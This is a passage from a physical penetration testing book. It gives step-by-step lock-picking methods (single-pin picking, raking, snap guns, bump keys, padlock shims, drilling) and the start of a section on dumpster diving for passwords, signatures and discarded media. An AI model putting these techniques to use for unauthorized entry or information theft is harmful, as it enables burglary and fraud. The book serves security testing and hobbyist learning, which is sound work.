suggest you look to your sales\nstaff. After all, a lot of techniques discussed in this chapter are similar to\nthose used by sales staff.\n" }, { "page_number": 89, "text": "5\nLock Picking\nRogues knew a good deal about lock-picking long before locksmiths\ndiscussed it among themselves, as they have lately done. If a lock, let it\nhave been made in whatever country, or by whatever maker, is not so\ninviolable as it has hitherto been deemed to be, surely it is to the interest of\nhonest persons to know this fact, because the dishonest are tolerably certain\nto apply the knowledge practically; and the spread of the knowledge is\nnecessary to give fair play to those who might suffer by ignorance.’’\nLocks and Safes: The Construction of Locks: A. C. Hobbs, 1853\nThis chapter discusses the black art that is lock picking. This is a skill I\nurge everyone reading this book to learn (if only because it’s a lot of fun).\nIf you’re a member of an operating team engaged in physical penetration\ntesting, it is something you will need to master and mastery involves a lot\nof practice. You can read as many books or watch as many instructional\nvideos as you like, but until you’re facing your first lock with picks in\nhand you haven’t started learning.\nLock picking is a catch all term to describe the circumnavigation and\nopening of a locking mechanism without using a key. There are at least\nas many ways to do this as there are types of lock. Although, of course,\nsome are more relevant to this book than others are. For all intents\nand purposes, a cheap pin tumbler lock opened with traditional lock\npicks and an expensive Winkhaus Blue Chip electronic lock opened with\nmagnets may both be described as lock picking. One of the major points\nI want to stress early is that the point of picking a lock is to do so without\nbeing detected, otherwise there’s little point. Any locking mechanism can\nbe bypassed in a destructive manner, usually quite easily. Despite the\nfact that lock picking tools are regulated in many countries and have a\nstrong criminal connotation, they’re not actually tools that many criminals\nbother to employ for exactly this reason. For example, if a burglar intends\nto break into your house and steal your TV there is little point in him\n" }, { "page_number": 90, "text": "68\nLOCK PICKING\nwasting time trying to pick open the front door. You are presumably\ngoing to notice the absence of said TV when you come home. Ergo, a\ncriminal is much more likely to simply kick your front door in (or enter\nvia a window). Lock picking has a high degree of luck and can be time\nconsuming (particularly under pressure). However as Gary Player replied\nwhen someone commented on what a lucky golfer he was, ‘‘The more I\npractice, the luckier I get.’’ Touch´e.\nLock Picking as a Hobby\nLike everything else in this book, I want to keep the focus on the\npractical. That means first and foremost doing exactly what I said I\nwould and show you how to pick locks. However you should be warned\nthat lock picking is an extremely addictive pass time and that at some\npoint (hopefully soon) you’re going to want to move beyond the simple\nmethods that I can provide in a single chapter. Luckily, there are various\nclubs and associations you can join to mingle with other likeminded\nsouls (particularly in Germany and the Netherlands where lock picking\nis a competition sport). These clubs are the places where the most\nresearch takes place into the means and methods of defeating new locking\nmechanisms and developing new methods of compromising the old ones.\nIf you’re interested in learning more about lock picking and its practical\nimplications I urge to check out TOOOL – The Open Organization Of\nLockpickers. These guys are active in the US (http://www.toool.us) and in\nthe Netherlands (http://www.toool.nl) but all Chapters are very welcoming\nof questions and newcomers.\nIt is impossible to understand how to open locks without keys if you don’t\nhave a solid grasp of how a lock works. Different mechanisms work in\ndifferent ways but the terminology is the same and if you can understand\nthe concepts behind the most popular type of lock – the pin tumbler\nshown in Figure 5.1 – then other mechanisms won’t trouble you unduly.\nFigure 5.2 shows a side view.\nThe following list provides a list of the parts of a lock.\n•\nHull – This is the part of the lock that does not rotate.\n•\nPlug – This will rotate when the correct key is inserted.\n•\nKeyway – Not surprisingly this is where the key is inserted.\n•\nWard – These protrusions only permit keys of the appropriate cut to\nbe inserted into the keyway.\n•\nDriver pins – The driver pins sit above the key pins and are pushed\ndown by springs.\n•\nKey pins – The key pins are pushed up into plug by the key itself.\n" }, { "page_number": 91, "text": "LOCK PICKING AS A HOBBY\n69\nHull\nPlug\nWard\nKeyway\nFigure 5.1\nThe front of pin tumbler lock.\nKey pins\nDriver pins\nSheer Line\nFigure 5.2\nSide view cutaway.\n•\nSheer line – When the correct key is inserted into a lock, the driver\npins and key pins meet here at the sheer line allowing the plug to\nbe turned and the lock opened. When an incorrect key (or no key) is\ninserted, the pins cross the sheer line preventing the plug from turning.\nNote that the driver pins are all the same length whilst the length of\nthe key pins varies.\nIt is difficult to grasp the terms properly simply from line diagrams and\ntext so consider Figure 5.3 which shows the pins when different keys are\ninserted in the lock.\nIn the picture on the top in Figure 5.3, the wrong key is inserted. The\ndriver and key pins do not meet at the sheer line and the lock will not\nopen. In the image on the bottom, the correct key is inserted. The pins\n" }, { "page_number": 92, "text": "70\nLOCK PICKING\nFigure 5.3\nThe pins only meet at the sheer line when the correct key is inserted.\nmeet at the sheer line allowing the lock to be opened. As previously\nnoted, it is the length of the key pins that varies; the variation inversely\ncorresponding to the peaks and grooves on the key. This way only the\ncorrect key will allow the lock to open. Until a key is inserted, the key\npins drop almost all the way into the keyway and the space above them\nis occupied by the driver pins, keeping the mechanism locked.\nIn a nutshell, this is how a pin tumbler lock works, although there are\nvariations, such as the number of pin pairs used. The usual number is\nfour or five. Some pin tumblers are more secure than others are and\nincorporate additional security mechanisms. I discuss those later when I\nget to lock picking. However, other locking mechanisms are in use and\nyou may encounter them. You compromise each of these in a slightly\ndifferent way:\n•\nWafer tumbler locks – These are similar to pin tumbler locks but are\nmuch easier to circumnavigate. (See Figure 5.4.) The predominant\ndifference from your perspective is that the wafers are not paired (as\n" }, { "page_number": 93, "text": "LOCK PICKING AS A HOBBY\n71\nthe pins are in the examples shown). If you’re really following you\nmay already see why that’s a problem. Wafer locks are used on filing\ncabinets (among other things) so it’s useful to be able to bypass them.\nFigure 5.4\nA wafer tumbler lock.\n•\nWarded locks – Warded locks are the oldest locking mechanisms in\nhistory (that are still in use). (See Figure 5.5.) The only thing that\nprevents them being picked is the use of ‘wards’ or obstructions\nFigure 5.5\nA warded lock.\n" }, { "page_number": 94, "text": "72\nLOCK PICKING\nthat prevent the lock from opening unless the correct key is inserted.\nThese locks are still quite popular in the UK but in the US are restricted\nto cheap, low security applications. A well made ‘skeleton key’ will open\na wide range of warded locks and sets are available on the Internet for\nvery little money.\n•\nPadlocks – These are used everywhere from bike locks to gates and\ndumpsters. Not hard to pick and in fact interesting as there is usually\nmore than one way to attack the locking mechanism.\n•\nTubular locks – These are included for the sake of completeness more\nthan anything else as it’s unlikely that an operating team is going\nto encounter them in the field. Tubular locks are used on vending\nmachines and bicycle locks. (See Figure 5.6.) However, they are also\nused on laptop locks, which justifies their inclusion here. With the\nright tools, they are easy to open.\nFigure 5.6\nA tubular lock.\nIntroduction to Lock Picking\nWith the preamble out of the way, we can get down to business. First\nI discuss the equipment you will need to get started. Virtually all of the\nequipment that I use for picking is made by Southern Ordinance (or\nSouthOrd). (See Figure 5.7.) You can view their full range of products\nat www.southord.com and these are available from resellers worldwide.\nYou will need the following:\n•\nA standard pin tumbler lock – Buy one from your local hardware\nstore. Avoid terms such as ‘pick resistant’ and ‘pick proof’. These\nlocks contain additional security features that will only complicate\nmatters for a beginner although you look at these in due course. (See\nFigure 5.8.)\n" }, { "page_number": 95, "text": "INTRODUCTION TO LOCK PICKING\n73\nFigure 5.7\nSouthOrd’s 32 piece set contains everything you need to pick pin tumbler\nlocks.\nFigure 5.8\nA cheap mass produced pin tumbler lock is ideal for the beginner.\n•\nA set of lock picks – You don’t need to spend a lot of money. A\nsimple set with a few picks and a couple of torque wrenches will\nbe fine. I tend to opt for the larger sets but that’s because I have a\nhabit of breaking them rather than because they give a greater range\nof technique.\n•\nA practice lock – This is not an absolute requirement but is very useful\nfor the beginner as you can see the effect you are having on the pins\n" }, { "page_number": 96, "text": "74\nLOCK PICKING\nwhich gives a greater understanding of what you are doing wrong and\nwhen you’re getting it right. (See Figure 5.9.)\nFigure 5.9\nA practice lock is a handy training aid.\nLock Picking 101\nFrom the previous section, you know how a key opens a lock; the pins\nare moved into position until they meet at the sheer line and the plug can\nturn. However, with the right tools it is possible to lift the pins one at a\ntime and achieve the same effect. If you can place torque on the locking\nmechanism, one (or occasionally more) of the key pins will become stuck\nbetween the top of the plug and the hull, binding it in place. The reason for\nthis is simply that locks are not precisely machined so there will be a slight\nvariation between width of pins, gaps between the pins and the cylinder\nand so forth but the bottom line is that only one pin will be bound. When\nthis pin is lifted into place, you will feel a subtle click, the plug will turn\nslightly, and another pin will be bound. You repeat this process until all\nthe pins are lifted to the sheer line and the lock opens. Let’s look at this in\na bit more depth. First of all, take a lift picker (Figure 5.10) and a torque\nwrench (Figure 5.11) from your lock picking set.\nFigure 5.10\nA lifter pick.\nFigure 5.11\nA torque wrench.\n" }, { "page_number": 97, "text": "INTRODUCTION TO LOCK PICKING\n75\nWith these two simple tools, it is possible to open virtually any pin\ntumbler lock. These steps explore the process in a little more detail:\n1.\nTake the lock in your hand and insert the torque wrench as shown\nin Figure 5.12. The pressure you put on the wrench should be the\nminimum necessary to turn the plug and should be constant – about\nthe same amount of pressure needed to hold down a key on a\ncomputer keyboard is perfect.\nFigure 5.12\nLock with torque wrench inserted.\n2.\nInsert the lifter pick and gently move the tip along the pins on the\ntop inside of the keyway starting at the back and moving towards the\nfront. All but one of the pins should move freely against your touch.\nOne pin will feel rigid because it’s stuck between the plates of the\nplug and the hull. (See Figure 5.13.)\n3.\nGently and slowly lift the bound pin. It will click into place and the\nplug will turn slightly in response to the pressure from the torsion\nwrench causing a new pin to bind and the key pin to drop back\ninto the keyway. It is important when lifting the bound pin not to\nrush or exert too much pressure otherwise you risk the lower key\npin becoming trapped between the plug and the hull and this means\nstarting all over again.\n4.\nRepeat the process until all the pins have been lifted to the sheer line\nand the lock opened.\n" }, { "page_number": 98, "text": "76\nLOCK PICKING\nFigure 5.13\nThe lifter pick is used to set the pins.\nSound simple? Well in principle it is, but it does require a lot of practice\nto get right. I mentioned TOOOL earlier. The OOO stands for Oefenen,\nOefenen, Oefenen (practice, practice, practice). The US chapter claims it\nstands for Over and Over and Over. Same difference.\nThere is a short cut, called raking, that you can use to assist you in\nopening pin tumbler locks. This is a method of quickly setting pins by\nraking them with special picks that are, unsurprisingly, called rakes. (See\nFigure 5.14.)\nFigure 5.14\nTwo common rake designs.\nRaking is performed as follows:\n1.\nInsert the torsion wrench as before, exerting the minimum pressure\nnecessary.\n" }, { "page_number": 99, "text": "INTRODUCTION TO LOCK PICKING\n77\n2.\nInsert the rake into the keyhole and gently drag it back and forth\nacross the pins.\n3.\nIf you are lucky within a short period of time you will set the pins\nand the lock will open. Usually, what will happen is that you will\nset two or three pins requiring the rest to be picked by hand. This\nhowever greatly reduces the time and effort required to pick the lock.\nSee Figure 5.15.\nFigure 5.15\nRaking a lock.\nPick Resistant Mechanisms\nThe only thing that makes lock picking possible at all is the continued\nuse of designs that have been known to be flawed for (literally)\ncenturies. High security locks are available that are to all intents and\npurposes unpickable in any practical circumstances. However, these\nlocks are expensive when compared with the $30 locks most people\nhave on their doors. That said, lock manufactures have a few tricks up\ntheir sleeves to make a lock more pick resistant without resorting to\ncomplex and prohibitively expensive designs.\nThe key word is resistant not proof .\nThese countermeasures take the form of specially modified pins that\nreplace one or more of the key or driver pins in the lock. The purpose of\n" }, { "page_number": 100, "text": "78\nLOCK PICKING\nthis is to frustrate lock picking attempts. The three main types of security\npin in production are:\n•\nSpool Pins – This is the most common type of security pin and can be\nvery frustrating to the beginner. The spool pin has a much narrower\ndiameter along its center than it does at either end. This can cause\nthe pin to be trapped along the sheer line when you are lifting. The\nfrustration here is that when first encountering spool pins, the tactile\nfeedback from this feels the same as it does when a pin is successfully\nset and the plug will rotate in much the same way, except the rotation\nis exaggerated and this is the key to identifying the presence of spool\npins. Once identified, the spool pin should be set. To do so lighten\nthe tension slightly on the torque wrench and using less pressure than\nyou normally would, lift the pin to the sheer. Resume normal tension\nand pick the rest of the pins normally.\n•\nMushroom Pins – So called because the head of the driver pin is\nshaped like a mushroom, these work in much the same way is spool\npins do. There is very little practical difference between a spool pin\nand a mushroom pin; they are both designed to frustrate the lock\npicker by causing driver pins to become trapped between the top of\nthe plug and the hull. The only real difference from a lock picker’s\nperspective is that the exaggerated rotation felt when a spool pin\nbecomes trapped is slightly less with the mushroom pin. The means\nof overcoming these types of locks are identical.\n•\nSerrated Pins – These are (in my opinion) the most irritating of all.\nThese pins can be both keys and drivers and their security comes in\nthe form of serrations cut in the side. The serrated parts interfere with\nthe natural sliding of the pin over the sheer line because each serration\nor ridge catches on the top of the plug when it is under torque (which\nmost of it will be). This can lead you to thinking that the pin has been\nset when it fact it hasn’t. If you know or suspect that serrated pins are\nin use, don’t trust the telltale click of a setting pin but try and raise it\nfurther. A grinding sensation (as the ridges cross the sheer line) is a\nclassic indicator of the presence of serrated pins.\nTips for Practicing Lockpicking Skills\nLock picking is simply not one of those things you can learn from a book;\nyou’re going to need to practice these concepts until you’re blue in the\nface – and then a little more. However, there are ways you can make the\nprocess a little easier. I’ve already discussed practice locks. Get yourself\none. There are some quite advanced models available right now that are\nboth cutaway (i.e. you seen the pins) and that you can rekey yourself\nwithout any special tools. The locks come with a variety of different sized\n" }, { "page_number": 101, "text": "INTRODUCTION TO LOCK PICKING\n79\npins (as well as the security pins discussed in the previous section) and\nyou can mix and match to practice what you’ve learned. This will save\nyou time and not to mention money. Two particularly nice examples of\npractice locks are:\n•\nThe Ultimate Practice Lock from http://www.learnlockpicking.com.\n•\nThe EZ ReKey available from virtually anywhere that sells lock\npicks.\nPracticing the following techniques will help develop the skills necessary\nfor picking pin tumbler locks:\n•\nHolding the pick – How you hold the pick determines how successful\nyou will be with it. I prefer to hold the pick a little like a pencil\nbut with the index finger held at the end of the pick and the thumb\ntouching the forefinger.\nFigure 5.16\nHolding the pick.\nHowever, you will develop a style that feels natural to you. Remember,\nrange and precision of movement is more important than force. Ensure\nthat as much as possible, your fingers, rather than your wrist, are in\ncontrol of every aspect of the pick’s movement rather than your wrist.\n•\nPicking pressure – One of the most important parts of picking is\nknowing how much pressure to apply to the pins. Too little pressure\nand you’ll have no effect on the driver pins – too much and you’ll trap\nthe key pin. Getting a feel for a variety of different locks in this way is\ncrucial as you’ll have no time to do it when on an assignment. Discard\nthe torque wrench and with just a lifter pick feel the resistance on\nthe pins. Because all locks have a subtly different feel to them, this\nexercise trains you to get a feel for different mechanisms and more\n" }, { "page_number": 102, "text": "80\nLOCK PICKING\nimportantly trains your tactile senses so that you know exactly what\nis going on inside the cylinder. This sounds (and feels) incredibly\ndifficult when you start picking but you’ll pick it up in no time.\n•\nExperimenting with torsion – Probably the biggest mistake made by\nnewcomers to lock picking is placing an incorrect amount of torque\non the plug while trying to set the pins. This is something that can be\nlearned only through experience.\n•\nSetting Pins – One of the benefits of learning with a practice lock is\nthat you can see the pins moving and setting and this allows you to\nget a feel for the subtle changes in resistance that occurs when this\nhappens. This is a good way to track your progress. Otherwise, it’s\nnot terribly clear what’s going on inside the lock and it’s very easy\nto develop bad habits. Also, you need to learn to feel the differences\nbetween a pin setting correctly and a security pin getting trapped\nagainst the hull.\nAdvanced Techniques\nHaving covered the basic traditional methods of opening a pin tumbler\nlock, you may be relieved or (possibly annoyed) to know that there are\neasier ways. These methods are universally eschewed by lock picking\npurists but then they’re not the ones who may need to open locks under\npressure at night, in the rain.\nUsing the Snap Gun\nThe snap gun is an automatic lock tool that makes the process of opening\npin tumbler locks considerably easier. The device was initially developed\nfor law enforcement officers who had no training in lock picking and who\nneeded to open doors quickly – or so the story goes.\nThe process of opening a lock with a snap gun is simple but a little\ndifferent than using a pick and torque wrench. With a snap gun, a torque\nwrench still needs to be used except you don’t try and set one pin at a\ntime. Each time the trigger on the snap gun is pulled the needle is drawn\nup and strikes all the key pins simultaneously. This action (via transfer of\nenergy) causes all the driver pins to be thrown upwards. This results in a\ngap at the sheer line. So in practice:\n1.\nInsert the snap gun needle into lock parallel with pins.\n2.\nPull the trigger five times quickly while keeping constant pressure on\nthe torque wrench.\n" }, { "page_number": 103, "text": "ADVANCED TECHNIQUES\n81\nFigure 5.17\nThe Snap Gun.\n3.\nIf the lock fails to open, increase the strength of the striking motion\non the snap gun and repeat.\nMost locks (including those with security pins) can be opened quickly\nand easily using the snap gun. Note that repeated use on the same lock\nwill (not can, will) cause it damage. However, given that this device is\ncheap, reliable and will save you a lot of time, you should make it a must\nhave in your kit bag.\nBumping\nLock ‘bumping’ is a relatively new technique for opening pin tumbler\nlocks. It uses specially crafted keys where all the grooves are cut to\na uniform length. The bump key, as shown in Figure 5.18, is inserted\nFigure 5.18\nA typical bump key.\n" }, { "page_number": 104, "text": "82\nLOCK PICKING\nin the lock, a gentle pressure applied to it to provide torque and then\n‘bumped’ or tapped with a solid object. This causes all the pins to jump\nsimultaneously allowing the plug to be turned. Bump keys have to be cut\nfrom blanks identical to those used in the lock you are trying to open.\nThis is a surprisingly effective technique and only a few locks are not\nvulnerable to it. Security pins and similar countermeasure make very little\ndifference when bumping a lock.\nLock pickers used to have to cut their own bump keys but this is no\nlonger true. In the last couple of years virtually all the online retailers\nselling lock picks now sell sets of bump keys that will open virtually any\npin tumbler lock. Like the snap gun, bump keys are something you want\nto acquire, learn how to use and keep to hand. If you’re interested in\nbumping I highly recommend you read this white paper on the subject\nfrom the great guys at TOOOL\nhttp://www.toool.nl/bumping.pdf.\nAttacking Other Mechanisms\nNot all locks contain pin tumblers. In this section, I discuss other locking\nmechanisms that you will likely encounter. The locking systems already\ndiscussed are without doubt the most commonly used form of locks.\nPicking such locks requires a degree of skill and persistent practice. Most\nother forms of locks only require the attacker to be au fait with the specific\ntechniques required to defeat them.\nMany locking mechanisms are easily defeated without any skill if you\nknow how the mechanism works. This was less of a problem before the\nadvent of the Internet and the easy dissemination of information that goes\nwith it. But the Internet makes information about lockpicking available to\nanybody.\nDefeating Padlocks\nPadlocks are used to secure a variety of assets primarily where portability\nis required - for example chaining bicycles. However, padlocks are\noften used to chain gates and fences and are often used as a secondary\nlocking mechanism on doors. Padlocks are usually pin tumbler based\n(albeit with a reduced number of pins. They almost never include the\nsecurity measures discussed reviously and consequently can be attacked\nusing traditional lock picks. However, this is often unnecessary because\nadditional weaknesses exist in the locking mechanism. Unlike the pin\ntumblers found on doors, padlocks (through necessity) expose a crucial\n" }, { "page_number": 105, "text": "ATTACKING OTHER MECHANISMS\n83\npart of the mechanism, the shackle itself. Many padlocks extol the virtues\nof their extra secure shackles (saying they can’t easily be cut through).\nHowever this is also not necessary. Internally, regardless of whether the\npadlock is a pin tumbler or a combination lock, the relationship between\nthe shackle and the locking mechanism is very simple. To open padlocks\nyou need some special picks called shims, which you can purchase from\na lock picking store or make yourself.\nShims are small thin pieces of metal that can be inserted between the\nshackle and the hull and twisted which disengages the locking mechanism\nand opens the lock. Even padlocks that advertise themselves as ‘pick proof’\nor ‘high security’ can usually be opened using the shimming method.\nShims can be made out of quite a few things (including Coke cans).\nRefer to the instructions found at this web site http://www.instructables.\ncom/id/Open-Any-Padlock/.\nOpening Warded Locks\nIf you grew up the UK you probably had warded locks on your back\ndoor. They’re very simple devices and provide only minimal security.\nThe only thing that stops the lock from opening is a series of obstructions\n(called wards) that prevent the key from turning. The right key directly\ncorresponds to these obstructions. The wrong one simply won’t turn.\nThere’s a big problem though. It’s trivial to make a key (or small set of\nkeys) that can bypass any wards and still provide enough torque to lift the\nlatch. You’re probably heard the term skeleton key. This is where it comes\nfrom. A skeleton key would be, by its nature, skeletal in appearance to fit\nbetween any given set of wards. Warded locks are also popular on some\nbrands of padlock (but the shim method is still the easiest way to go).\nMaking or acquiring skeleton keys is trivial. They’re available from any\nlock picking store or they can be cut from blanks as were these shown in\nFigure 5.19.\nPicking Tubular Locks\nAs previously stated, these locks are unlikely to play a big part in the career\na penetration tester but it’s worth knowing how to open them. They’re\nmostly seen in the IT world on laptop security locks. (See Figure 5.20.)\nThese are actually pin tumbler locks. However the pins are arranged in\na circle rather than in-line. There are different approaches to attacking\nthese locks; because the pins are exposed it is possible to manipulate\nthem to the sheer line manually. The problem is that you need to hold\n" }, { "page_number": 106, "text": "84\nLOCK PICKING\nFigure 5.19\nWarded Picks.\nFigure 5.20\nLaptop lock.\nall the pins in place when turning the plug or the pins simply fall into\nthe next adjacent groove necessitating one complete pick per pin. This\ntakes too long and there is an easier way. First you need to acquire a\ntubular pick – a very different beast from your traditional lock picks and\nrelatively expensive. (See Figure 5.21.)\nThis tool is inserted into the lock and turned. As it is pushed into the lock,\neach of the picks is forced down until it stops; binding the driver pins\n" }, { "page_number": 107, "text": "ATTACKING OTHER MECHANISMS\n85\nFigure 5.21\nTubular lock pick.\nbehind the shear line of the lock. When the final pick is pushed down,\nthe shear plane is clear and the lock opens. This can be accomplished in\na matter of seconds.\nOpening Wafer Locks\nWafer locks are cheapest locks on the market that actually require a key.\nThey are commonly found in filing cabinets and drawers and locks on\nmany cars are also a form of wafer lock. Wafer locks come in two main\nforms; single and double sided. A single sided wafer lock is easy to pick;\na double requires a little more effort because effectively the lock has to\nbe picked twice and the second time requires keeping the initial wafers\nin position.\nThese locks operate essentially the same way as a pin tumbler lock in\nthat the correct key pushes the wafers up to a shear point allowing the\nplug to rotate. The difference is that there is only one ‘pin’, no separate\ndriver or key pins. This makes them extremely easy to pick as you just\napply tension and push the wafers up with a lifter pick until you hear\nthem click one at a time. Unlike a pin tumbler lock, you can’t push them\nup too far. Ergo, torsion and lifting is all you need. If you are even slightly\ncompetent at picking pin tumblers, you will find wafer locks a snap.\n" }, { "page_number": 108, "text": "86\nLOCK PICKING\nEmploying Destructive Entry Techniques\nIf the Rules of Engagement permit you to engage in destructive methods\nto bypass locks you are in luck. A variety of techniques are available at\nyour disposal. Some would say that resorting to them is the mark of an\namateur but destructive entry has its place; failing an assignment because\nyou couldn’t pick a lock would be unfortunate and provide a false sense\nof security to the client when the door in question would probably open\nwith a good kick . . . . However as ‘foot picking’ probably speaks for itself\nI will cover the following:\n•\nDrilling – This is the most common technique a locksmith will use\nif, for whatever reason, a lock cannot be opened via conventional\npicking. You will need a cordless power drill and a sturdy drill bit\n(Masonry 5.5 mm is ideal). Place the drill bit against the lock just\nabove the keyway and drill through all the driver pins. Sometimes it\nis necessary to take a slightly large bit and expand the hole. When the\nhole is done, take a flat head screwdriver and push it into the keyway,\ngive it a good twist and the lock will open. Practice this before you\ntry it in the field as it is very easy to mess up and spectacularly messy\nwhen you do. Ensure you wear workman’s gloves and goggles to\nprotect your eyes.\n•\nPulling – This is the technique the fire department uses to gain entry\nto house quickly unless you have a particularly flimsy front door in\nwhich they prefer to use an axe (and who can blame them?). You need\na device called a Cylinder Lock Cracker. Once again it is available\nfrom a locksmith or lock pick store. This device can be used only on\nlocks with a slightly protuding plug. The cracker fits on the front of\nthe plug and is tightened. Then use leverage to force the plug out of\nthe hull permitting entry.\nSummary\nIn this chapter we’ve covered the basics of lock picking. If you didn’t\nknow anything when you started reading, you should now know at least\nsomething! We’ve covered the following:\n•\nLock picking as a hobby – acquiring some picks and having some\nfun is the best way to learn the ideas outlined here. There are lock\npicking clubs you can join where you can share ideas and learn\npointers from the pros.\n" }, { "page_number": 109, "text": "SUMMARY\n87\n•\nLockpicking 101 – you’ve learned the basics of lock picking technique\nas well the types of equipment available and how it’s used. You should\nnow know the different between a lifter, a torque wrench and a rake.\n•\nPick Resistant Mechanisms – you should now have a good idea of\nthe ways lock makers try to make their locks harder to pick and you\nshould know that these mechanisms are far from perfect.\n•\nSuggested Exercises – you won’t get far learning picking from a book.\nGrab some gear and get practicing - the exercises here are a good\nstart.\n•\nThe Snap Gun – this very useful tool can be your best friend in a\npenertration testing assignment when time is a critical factor. It won’t\nteach you anything about classical picking but it will make your life a\nlot easier.\n•\nOther locking mechanisms – you should now know how to open\npadlocks and tubular locks. You should know that wafer locks are\nvery similar to pin tumblers and that warded locks provide the least\nsecurity of all.\n•\nDestructive entry – it’s unlikely you will have much call for these\nmethods in a penetration test. That said, some clients are receptive to\nmore realistic intruder scenarios.\nLock picking is an art and one that you can’t expect to pick up over night.\nPersist! This is an incredibly useful skill to a penetration tester and one\nyou can practice anywhere – it’s also very satisfying and a lot of fun.\n" }, { "page_number": 110, "text": "" }, { "page_number": 111, "text": "6\nInformation Gathering\nAll the business of war, and indeed all the business of life, is to endeavour\nto find out what you don’t know from what you do.\n– Arthur Wellesley, 1st Duke of Wellington -September 4th 1852\nThis chapter discusses the various means of obtaining and analyzing\ninformation and intelligence. This chapter covers the following topics:\n•\nWhere to find information and what to look for.\n•\nHow to perform forensic analysis on electronic media.\n•\nHow to understand the value of what people throw away.\n•\nHow to approach photographic intelligence gathering.\n•\nHow to perform electronic surveillance.\n•\nHow to perform covert surveillance.\nEach requires a different approach and skill set. It is not always necessary\nto employ all of the techniques detailed in this chapter in every physical\npenetration test you perform. However, you should ensure that you\nbecome fluent in all of them. For example, the first time you enter a target\nfacility at night is not the best time to learn how to use infrared film nor\nshould the first time you acquire discarded digital media be the first time\nyou experiment with forensic acquisition.\nIn a book of this nature, which by necessity must cover a range of subjects,\nit is not always possible to give as much attention as one would like to each\nindividual subject. My intention with this chapter is to make you think\nin a different way about security – to put yourself in the position of the\nattacker. Only by doing so can you really appreciate the range of threats\nan organization has to consider before it even begins to mitigate them.\nInformation is an ephemeral entity but one fairly solid rule applies; more\ninformation is good and less is bad. When gathering intelligence its value\n" }, { "page_number": 112, "text": "90\nINFORMATION GATHERING\nmay not be apparent until you need it. Therefore, I urge you to be as\nthorough as possible when building your profile of target organizations\nand staff members.\nDumpster Diving\nA lot can be learned about people by just observing them but you can\nlearn more than you ever wanted to know by going through their trash.\nOn September 15th 1993 the FBI, gathering evidence to indict suspected\ndouble agent Aldrich Ames, found a note in his trash – a note discussing\nan imminent meeting with the KGB. You would think that a 31 year\nveteran of the CIA would have practiced better tradecraft. However, this\nis illustrative. If someone whose stock in trade is secrets and lies would\nhave made a rookie mistake like this, how can the rest of the world be\nexpected to fare any better?\nDumpster diving or trashing is simply going through the target’s garbage\nlooking for information, documents and electronic media that would be\nhelpful to an attacker. Accessing a facility at night and obtaining confi-\ndential information from the trash will sometimes comprise the entirety of\nthe test. However, the exercise is far more useful when combined with a\ncomplete physical test to assess the usability of the acquired information.\nObviously, some kinds of information are more useful than others, so\nwhat are testers looking for? If you are implementing security, what kind\nof information should you be sure doesn’t reach your dumpsters?\n•\nEmployee info: Any information that allows an attacker to masquerade\nas an insider is useful. Employee information is particularly useful in\nsocial engineering attacks as it gives the impression of inside knowl-\nedge. Even apparently innocuous data such as name, department,\nand employee number are sufficient to create a plausible pre-texting\nattack which is discussed in Chapter 4.\n•\nEmails: Printed emails allow attackers to determine how email\naddresses are structured, but this can usually be worked out from\nother sources as well. It can be interesting to see who emails whom,\nand the emails themselves may contain pertinent information. For\nexample an email from systems notifying the company of imminent\nnetwork down time provides the name and email address of the sys-\ntems administrator. Similarly, an email informing the company of a\nnew hire has obvious value. Employees discuss all manner of things\nvia email and the sorts of emails that get printed tend to be those that\nhave reference value.\n" }, { "page_number": 113, "text": "DUMPSTER DIVING\n91\n•\nNetwork Maps: Information about the structure of the internal net-\nwork and particularly network maps and diagrams are invaluable to\nthe penetration tester. Attackers can halve the amount of work they\nhave to do inside a company facility if they already know the structure\nof the network. Information such as IP addresses and ranges, server\nnames, operating system distribution and vendor names are particu-\nlarly useful. This is information that should never be thrown in the\ntrash.\n•\nHeaded Paper: Company headed paper regardless of its contents is\nextremely useful. It allows an attacker to make realistic forgeries of\ncompany communications, either to its employees or third parties. It’s\nalso useful to a penetration testing team as it allows them to do exactly\nthe same thing. Creating well forged letters is an essential aspect of\nsocial engineering.\n•\nBilling documents/invoices: Such information reveals who the target\ndoes business with, which is useful to know. An attacker may be able\nto masquerade as a business partner or a client later in the exercise.\nIf the target outsources IT (or other services) then knowing who they\nuse is useful for the same reason.\n•\nSignatures: A signed document, like headed paper is valuable in\nand of itself. Knowing a signature makes it easy to copy. Mass mailed\nletters often have a photocopied signature, which makes it even easier.\nSignatures that are particularly useful are those of CEOs, department\nheads, accountants, office managers, and anyone responsible for\ninvoicing or billing.\n•\nUsernames/Passwords: Finding usernames is useful because it reveals\nhow such usernames are created. Usually this is quite simple i.e. John\nSmith becomes jsmith or john.smith. However, this is not always the\ncase, on some internal and perhaps more classified systems there may\nbe no way to guess them. Therefore any document that references\nusernames is a great find. Even better is finding passwords. That’s\nreally hitting pay dirt. Yes, people write them down all the time,\nusually on little yellow post it notes they stick to their monitor . . . .\nIronically, this is often a reaction to the administrator’s attempts to\nenforce difficult to guess passwords; difficult to guess translates as\ndifficult to remember.\n•\nCompany Handbooks and Operating Procedures: All the companies’\nrules, regulations and day-to-day operating procedures are usually\nhanded to new hires during the induction process in the form of a\ncompany handbook. As these things are often updated faster than\nthey can be read, they find their way into the trash with unsurprising\nregularity. This is pay dirt to the social engineer.\n" }, { "page_number": 114, "text": "92\nINFORMATION GATHERING\n•\nShredded Paper: Yes, you read that right. Although a lot of documents\ndo get shredded, your average office shredder is pretty useless at\nkeeping it that way. Paper that’s been shredded into strips can be\neasily reassembled, often without any high tech assistance. When\nthe paper is fed into the shredder, and the shreds are not mixed,\nthe paper strips stay in proximity to one another. In addition, if the\ndocuments are fed into the shredder with the lines of text parallel and\nnot perpendicular to the shredder blades, then long legible stripes of\nthe document remain. Conversely large amount of paper strips from\nmultiple documents are more difficult to piece together (unless you\nhave vast amounts of time on your hand and if you’re reading this,\nyou probably don’t). Enter document reconstruction software. The FBI,\nforensic accountants and other investigators regularly need to recover\nshredded data. The way they go about this in the age of Enron is to scan\nall the little pieces and use software that automatically reconstructs\ndocuments. There is a commercial solution; The Unshredder is a\ncommercial document reconstruction tool and it’s a lot of fun. If you\nfind yourself playing with shredded paper on a regular basis, you\nshould check it out.\n•\nElectronic Media: Floppy disks, cdroms, dvds, old hard drives, usb\nsticks. It’s amazing what people throw away. I’ve seen old hard disks\ncome out of the trash packed with employee information, prescription\ndata from a pharmacy (names, addresses, medical conditions) and\nall kinds of miscellaneous documents, spreadsheets and databases.\nElectronic media is our number one target. Virtually nobody securely\ndeletes drives or shreds cdroms before this stuff finds its way into the\ntrash. Recovering data from electronic media deserves a section of its\nown and you look at it in detail later in this chapter.\nDiving in\nWhen your trash hits the street it enters the public domain, 